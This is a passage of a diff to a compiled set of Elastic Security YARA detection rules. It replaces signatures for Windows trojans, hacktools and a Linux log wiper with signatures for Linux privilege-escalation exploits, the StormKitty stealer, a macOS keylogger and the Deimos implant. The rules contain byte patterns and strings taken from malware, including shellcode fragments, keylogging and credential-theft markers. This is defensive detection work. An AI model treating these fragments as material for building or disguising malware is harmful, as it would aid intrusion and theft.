+		id = "583dd2c0-9e94-4d38-bdff-e6c3b7c7d594"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Amadey.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2"
-		logic_hash = "7f96c4de585223033fb7e7906be6d6898651ecf30be51ed01abde18ef52c0e1e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2019_13272.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3191b9473f3e59f55e062e6bdcfe61b88974602c36477bfa6855ccd92ff7ca83"
+		logic_hash = "0b25f0d979d2fc3f7d646a9b3eccf2a293b41181b499c790d3e99515fcd09603"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c"
+		tags = "FILE, MEMORY, CVE-2019-13272"
+		fingerprint = "afc96d47ad2564f69d2fb9a39e882bfc5b4879f0a8abbf36d5e3af6a52dccd63"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "D:\\Mktmp\\NL1\\Release\\NL1.pdb" fullword
+		$a = { 48 89 85 40 FF FF FF 48 8B 45 D8 48 83 C0 20 48 89 85 38 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Wipelog_Daea1Aa4 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2010_3301_79D52Efd : FILE MEMORY CVE_2010_3301
 {
 	meta:
-		description = "Detects Linux Hacktool Wipelog (Linux.Hacktool.Wipelog)"
+		description = "Detects Linux Exploit Cve 2010 3301 (Linux.Exploit.CVE-2010-3301)"
 		author = "Elastic Security"
-		id = "daea1aa4-0df7-4308-83e1-0707dcda2e54"
-		date = "2022-03-17"
-		modified = "2022-07-22"
+		id = "79d52efd-7955-4aa3-afbe-b7d172c30f34"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Wipelog.yar#L1-L29"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "39b3a95928326012c3b2f64e2663663adde4b028d940c7e804ac4d3953677ea6"
-		logic_hash = "e2483b7719f4a1e28ec3732120770066333d8db269c9c9711813a8eeb75176d6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2010_3301.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "53a2163ad17a414d9db95f5287d9981c9410e7eaeea096610ba622eb763a6970"
+		logic_hash = "1d4eb14042f552aa1577d0fe452e92c25bda66d0ad1a66e824677bee65908578"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "93f899e14e6331c2149ba5c0c1e9dd8def5a7d1b6d2a7af66eade991dea77b3c"
+		tags = "FILE, MEMORY, CVE-2010-3301"
+		fingerprint = "22235427bc621e07c16c365ddbf22a4e1c04d7a0f23c3e4c46d967d908256567"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -63104,263 +67324,236 @@ rule ELASTIC_Linux_Hacktool_Wipelog_Daea1Aa4 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$s1 = "Erase one username on tty"
-		$s2 = "wipe_utmp"
-		$s3 = "wipe_acct"
-		$s4 = "wipe_lastlog"
-		$s5 = "wipe_wtmp"
-		$s6 = "getpwnam"
-		$s7 = "ERROR: Can't find user in passwd"
-		$s8 = "ERROR: Opening tmp ACCT file"
-		$s9 = "/var/log/wtmp"
-		$s10 = "/var/log/lastlog"
-		$s11 = "Patching %s ...."
+		$a = { E8 3B F9 FF FF 83 7D D4 FF 75 16 48 8D 3D 35 03 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Exploit_Perfusion_5Ab5Ddee : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2010_3301_D0Eb0924 : FILE MEMORY CVE_2010_3301
 {
 	meta:
-		description = "Detects Windows Exploit Perfusion (Windows.Exploit.Perfusion)"
+		description = "Detects Linux Exploit Cve 2010 3301 (Linux.Exploit.CVE-2010-3301)"
 		author = "Elastic Security"
-		id = "5ab5ddee-e79b-4f1c-bd60-92793f14e490"
-		date = "2024-02-28"
-		modified = "2024-03-21"
+		id = "d0eb0924-dae1-46f9-a4d0-c9e69f781a22"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_Perfusion.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7fdef25acb0d1447203b9768ae58a8e21db24816c602b160d105dab86ae34728"
-		logic_hash = "490f3fc89cf78dbe82f1feb012a147a8d187612720efb6e1eb4e97720b26ee59"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2010_3301.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "907995e90a80d3ace862f2ffdf13fd361762b5acc5397e14135d85ca6a61619b"
+		logic_hash = "5229be3d1997ee4d05846d6804ffafd36c088dd8607a1fba39a0a43950e448c1"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "c8d13213b20fc99dd71034ddae986c71f6e89f632655e88d5f9c8be1d72c6231"
+		tags = "FILE, MEMORY, CVE-2010-3301"
+		fingerprint = "bb288a990938aa21aba087a0400d6f4765a622f8ed36d1dd7953d09cbb09ff83"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s1 = "SYSTEM\\CurrentControlSet\\Services\\%ws\\Performance" wide
-		$s2 = "Win32_Perf" wide
-		$s3 = "CollectPerfData" wide
-		$s4 = "%wsperformance_%d_%d_%d.dll" wide
+		$a = { E8 3C FA FF FF 83 7D EC FF 75 19 BF 20 13 40 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Diceloader_B32C6B99 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2010_3301_A5828970 : FILE MEMORY CVE_2010_3301
 {
 	meta:
-		description = "Detects Windows Trojan Diceloader (Windows.Trojan.Diceloader)"
+		description = "Detects Linux Exploit Cve 2010 3301 (Linux.Exploit.CVE-2010-3301)"
 		author = "Elastic Security"
-		id = "b32c6b99-f634-4c6f-98f4-39954ef15afa"
-		date = "2021-04-23"
-		modified = "2021-08-23"
+		id = "a5828970-7a30-421c-be92-5659c18b88d1"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Diceloader.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a3b3f56a61c6dc8ba2aa25bdd9bd7dc2c5a4602c2670431c5cbc59a76e2b4c54"
-		logic_hash = "f9e023f340edc4c46b2926e750c2ad3a3798e34415e43c0ea2d83073e3dc526a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2010_3301.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4fc781f765a65b714ec27080f25c03f20e06830216506e06325240068ba62d83"
+		logic_hash = "61b0cb38a6e14efee157547e811450d2ed4674f79ac86656a8d984084f71a665"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "15d4bc57c03a560608ae69551aa46d1786072b3d78d747512f8ac3e6822a7b93"
+		tags = "FILE, MEMORY, CVE-2010-3301"
+		fingerprint = "72223f502b2a129380ab011b785f6589986d2eb177580339755d12840617ce5f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "D$0GET " ascii fullword
-		$a2 = "D$THostf" ascii fullword
-		$a3 = "D$,POST" ascii fullword
-		$a4 = "namef" ascii fullword
-		$a5 = "send" ascii fullword
-		$a6 = "log.ini" wide
-		$a7 = { 70 61 73 73 00 00 65 6D 61 69 6C 00 00 6C 6F 67 69 6E 00 00 73 69 67 6E 69 6E 00 00 61 63 63 6F 75 6E 74 00 00 70 65 72 73 69 73 74 65 6E 74 00 00 48 6F 73 74 3A 20 }
+		$a = { E8 7C FC FF FF 83 7D EC FF 75 19 BF 40 0E 40 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Diceloader_15Eeb7B9 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sqlexp_1Aa5001E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Diceloader (Windows.Trojan.Diceloader)"
+		description = "Detects Linux Trojan Sqlexp (Linux.Trojan.Sqlexp)"
 		author = "Elastic Security"
-		id = "15eeb7b9-311f-477b-8ae1-b8f689a154b7"
-		date = "2021-04-23"
-		modified = "2021-08-23"
+		id = "1aa5001e-0609-4830-9c6f-675985fa50cf"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Diceloader.yar#L27-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746"
-		logic_hash = "f1ab9ad69f9ea75343c7404b82a3f7a4976a442b980a98fe5b95c55d4f9cb34e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sqlexp.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "714a520fc69c54bcd422e75f4c3b71ce636cfae7fcec3c5c413d1294747d2dd6"
+		logic_hash = "48c7331c80aa7d918f46d282c6f38b8e780f9b5222cf9304bf1a8bb39cc129ab"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb"
+		fingerprint = "afce33f5bf064afcbd8b1639755733c99171074457272bf08f0c948d67427808"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { E9 92 9D FF FF C3 E8 }
-		$a2 = { E9 E8 61 FF FF C3 E8 }
+		$a = { 89 E3 52 53 89 E1 B0 0B CD 80 00 00 ?? 00 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Revcoderat_8E6D4182 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Cornelgen_584A227A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Revcoderat (Windows.Trojan.Revcoderat)"
+		description = "Detects Linux Exploit Cornelgen (Linux.Exploit.Cornelgen)"
 		author = "Elastic Security"
-		id = "8e6d4182-4ea8-4d4c-ad3a-d16b42e387f4"
-		date = "2021-09-02"
-		modified = "2022-01-13"
+		id = "584a227a-bf17-4620-8b10-97676f12ea5b"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Revcoderat.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "77732e74850050bb6f935945e510d32a0499d820fa1197752df8bd01c66e8210"
-		logic_hash = "35626d752b291e343350534aece35f1d875068c2c050d12312a60e67753c71e1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Cornelgen.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c823cb669f1d6cb9258d6f0b187609c226af23396f9c5be26eb479e5722a9d97"
+		logic_hash = "db3b6bbab48074449ae8b404f8fa77d93cde1ab8e57bd4ad981ac2afb8226494"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bc259d888e913dffb4272e2f871592238eb78922989d30ac4dc23cdeb988cc78"
+		fingerprint = "65a23e20166b99544b2d0b4969240618d50e80a53a69829756721e19e4e6899f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "PLUGIN_PROCESS_REVERSE_PROXY: Plugin already exists, skipping download!" ascii fullword
-		$a2 = "TARGET_HOST_UPDATE(): Sync successful!" ascii fullword
-		$a3 = "WEBCAM_ACTIVATE: Plugin already exists, skipping download!" ascii fullword
-		$a4 = "send_keylog_get" ascii fullword
+		$a = { 6E 89 E3 52 53 89 E1 B0 0B CD 80 31 C0 40 CD 80 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Gvci_F5A35359 : FILE
+rule ELASTIC_Linux_Exploit_Cornelgen_Be0Bc02D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Gvci (Windows.VulnDriver.Gvci)"
+		description = "Detects Linux Exploit Cornelgen (Linux.Exploit.Cornelgen)"
 		author = "Elastic Security"
-		id = "f5a35359-ee16-444a-aafd-c4ef162e46d4"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "be0bc02d-2d9d-4cbe-9d6a-3a88ffa1234b"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Gvci.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "42f0b036687cbd7717c9efed6991c00d4e3e7b032dc965a2556c02177dfdad0f"
-		logic_hash = "beb0c324358a016e708dae30a222373113a7eab8e3d90dfa1bbde6c2f7874362"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Cornelgen.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "24c0ba8ad4f543f9b0aff0d0b66537137bc78606b47ced9b6d08039bbae78d80"
+		logic_hash = "67c4f2d875f233b52fcbc24d9225c51af4dc09c27ce3915f0d756202bd4e5867"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "590e6b10c8bd1c299eb4ecd1368ac05d8811147c7ce3976de5e86d1a6d8bc14f"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "6b57eb6fd3c8e28cbff5e7cc51246de74ca7111a9cd1c795b21aa89142a693b4"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\GVCIDrv64.pdb"
+		$a = { 8B 44 24 08 A3 B8 9F 04 08 0F B7 05 04 A1 04 08 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Godpotato_5F1Aad81 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Cornelgen_03Ee53D3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Godpotato (Windows.Hacktool.GodPotato)"
+		description = "Detects Linux Exploit Cornelgen (Linux.Exploit.Cornelgen)"
 		author = "Elastic Security"
-		id = "5f1aad81-88d8-4561-a6f9-d7521b9ffdf5"
-		date = "2024-06-24"
-		modified = "2024-07-02"
+		id = "03ee53d3-4f03-4c5e-9187-45e0e33584b4"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_GodPotato.yar#L1-L28"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00171bb6e9e4a9b8601e988a8c4ac6f5413e31e1b6d86d24b0b53520cd02184c"
-		logic_hash = "3028c84a616d47b37b4ef2d41d35ccef5121c06aa042096bca8ea53b528a1eb9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Cornelgen.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "711eafd09d4e5433be142d54db153993ee55b6c53779d8ec7e76ca534b4f81a5"
+		logic_hash = "e7d9c66621ad3c56f3bb8150c17b10495053d9485b2143750aeefd3c55ab7943"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3645a259f9b5d07bd5ad2ec823fd704eccd0412dd75c47bc82124db9a907da2a"
+		fingerprint = "f2a8ecfffb0328c309a3a5db7e62fae56bf168806a1db961a57effdebba7645e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "GodPotato" wide fullword
-		$a2 = "GodPotatoContext was not initialized" wide fullword
-		$a3 = "GodPotatoStorageTrigger" ascii fullword
-		$a4 = "[*] DCOM obj GUID: {0}" wide fullword
-		$a5 = "[*] DispatchTable: 0x{0:x}" wide fullword
-		$a6 = "[*] UseProtseqFunction: 0x{0:x}" wide fullword
-		$a7 = "[*] process start with pid {0}" wide fullword
-		$a8 = "[!] ImpersonateNamedPipeClient fail error:{0}" wide fullword
-		$a9 = "[*] CoGetInstanceFromIStorage: 0x{0:x}" wide fullword
-		$a10 = "[*] Trigger RPCS" wide
+		$a = { C9 B0 27 CD 80 31 C0 B0 3D CD 80 31 C0 8D 5E 02 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2018_10561_0F246E33 : FILE MEMORY CVE_2018_10561
+rule ELASTIC_Windows_Trojan_Stormkitty_6256031A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2018 10561 (Linux.Exploit.CVE-2018-10561)"
+		description = "Detects Windows Trojan Stormkitty (Windows.Trojan.StormKitty)"
 		author = "Elastic Security"
-		id = "0f246e33-0e98-4778-8a2f-14876d1a0efe"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6256031a-e7dd-423b-a83f-4db428cb3d1b"
+		date = "2022-03-21"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2018_10561.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "eac08c105495e6fadd8651d2e9e650b6feba601ec78f537b17fb0e73f2973a1c"
-		logic_hash = "2c3785ddfded7128e983f3ec17a9f77c856d903f07e325b08f9f463950576ebe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_StormKitty.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0c69015f534d1da3770dbc14183474a643c4332de6a599278832abd2b15ba027"
+		logic_hash = "a797e87eaf5b173da9dd43fcff03b3d26198dcafa29c3f2ca369773c73001234"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2018-10561"
-		fingerprint = "718b66d3d65d31f0908c8f7d7aee8113e9b51cb576cd725bbca1a23d3ccd4d72"
+		tags = "FILE, MEMORY"
+		fingerprint = "6f0463de42c97701b0f3b8172e7e461501357921a3d11e6ca467bd1ca397d0b6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0B DF 0B 75 87 8C 5C 03 03 7A 4B 7A 95 4A A5 D2 13 6A 6A 5A 5A }
+		$a1 = "https://github.com/LimerBoy/StormKitty" ascii fullword
+		$a2 = "127.0.0.1 www.malwarebytes.com" wide fullword
+		$a3 = "KillDefender"
+		$a4 = "Username: {1}" wide fullword
+		$a5 = "# End of Cookies" wide fullword
+		$a6 = "# End of Passwords" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Rustbucket_E64F7A92 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Electrorat_B4Dbfd1D : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Rustbucket (MacOS.Trojan.RustBucket)"
+		description = "Detects Macos Trojan Electrorat (MacOS.Trojan.Electrorat)"
 		author = "Elastic Security"
-		id = "e64f7a92-e530-4d0b-8ecb-fe5756ad648c"
-		date = "2023-06-26"
-		modified = "2023-06-29"
-		reference = "https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_RustBucket.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
-		logic_hash = "bd6005d72faba6aaeebdcbd8c771995cbfc667faf01eb93825afe985954a47fc"
+		id = "b4dbfd1d-4968-4121-a4c2-5935b7f76fc1"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Electrorat.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b1028b38fcce0d54f2013c89a9c0605ccb316c36c27faf3a35adf435837025a4"
+		logic_hash = "a36143a8c93cb187dba0a88a15550219c19f1483502f782dfefc1e53829cfbf1"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "f9907f46c345a874b683809f155691723e3a6df7c48f6f4e6eb627fb3dd7904d"
+		fingerprint = "fa65fc0a8f5b1f63957c586e6ca8e8fbdb811970f25a378a4ff6edf5e5c44da7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -63368,247 +67561,240 @@ rule ELASTIC_Macos_Trojan_Rustbucket_E64F7A92 : FILE MEMORY
 		os = "macos"
 
 	strings:
-		$user_agent = "User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
-		$install_log = "/var/log/install.log"
-		$timestamp = "%Y-%m-%d %H:%M:%S"
+		$a1 = "_TtC9Keylogger9Keylogger" ascii fullword
+		$a2 = "_TtC9Keylogger17CallBackFunctions" ascii fullword
+		$a3 = "\\DELETE-FORWARD" ascii fullword
+		$a4 = "\\CAPSLOCK" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Multi_Trojan_Sliver_42298C4A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Deimos_F53Aee03 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Trojan Sliver (Multi.Trojan.Sliver)"
+		description = "Detects Windows Trojan Deimos (Windows.Trojan.Deimos)"
 		author = "Elastic Security"
-		id = "42298c4a-fcea-4c5a-b213-32db00e4eb5a"
-		date = "2021-10-20"
-		modified = "2022-01-14"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Trojan_Sliver.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007"
-		logic_hash = "a84bdb51fcdeb4629365bdb727b53087604ee0eb112c8d6c3ecf315598ec678a"
+		id = "f53aee03-74c3-4b40-8ae4-4f1bf35f88c8"
+		date = "2021-09-18"
+		modified = "2022-01-13"
+		reference = "https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Deimos.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"
+		logic_hash = "07675844a8790f8485b6545e7466cdef8ac4f92dec4cd8289aeaad2a0a448691"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a"
+		fingerprint = "12a6d7f9e4f9a937bf1416443dd0d5ee556ac1f67d2b56ad35f9eac2ee6aac74"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$a1 = ").RequestResend"
-		$a2 = ").GetPrivInfo"
-		$a3 = ").GetReconnectIntervalSeconds"
-		$a4 = ").GetPivotID"
-		$a5 = "name=PrivInfo"
-		$a6 = "name=ReconnectIntervalSeconds"
-		$a7 = "name=PivotID"
+		$a1 = "\\APPDATA\\ROAMING" wide fullword
+		$a2 = "{\"action\":\"ping\",\"" wide fullword
+		$a3 = "Deimos" ascii fullword
 
 	condition:
-		2 of them
+		all of ($a*)
 }
-rule ELASTIC_Multi_Trojan_Sliver_3Bde542D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Deimos_C70677B4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Trojan Sliver (Multi.Trojan.Sliver)"
+		description = "Detects Windows Trojan Deimos (Windows.Trojan.Deimos)"
 		author = "Elastic Security"
-		id = "3bde542d-df52-4f05-84ff-de67e90592a9"
-		date = "2022-08-31"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Trojan_Sliver.yar#L27-L50"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05461e1c2a2e581a7c30e14d04bd3d09670e281f9f7c60f4169e9614d22ce1b3"
-		logic_hash = "23a0e28c1423f577a147efdf927f2dc71871760e38d4d7494ead2920b90ef05e"
+		id = "c70677b4-f5ba-440b-ba31-31e80caee2fe"
+		date = "2021-09-18"
+		modified = "2022-01-13"
+		reference = "https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Deimos.yar#L24-L44"
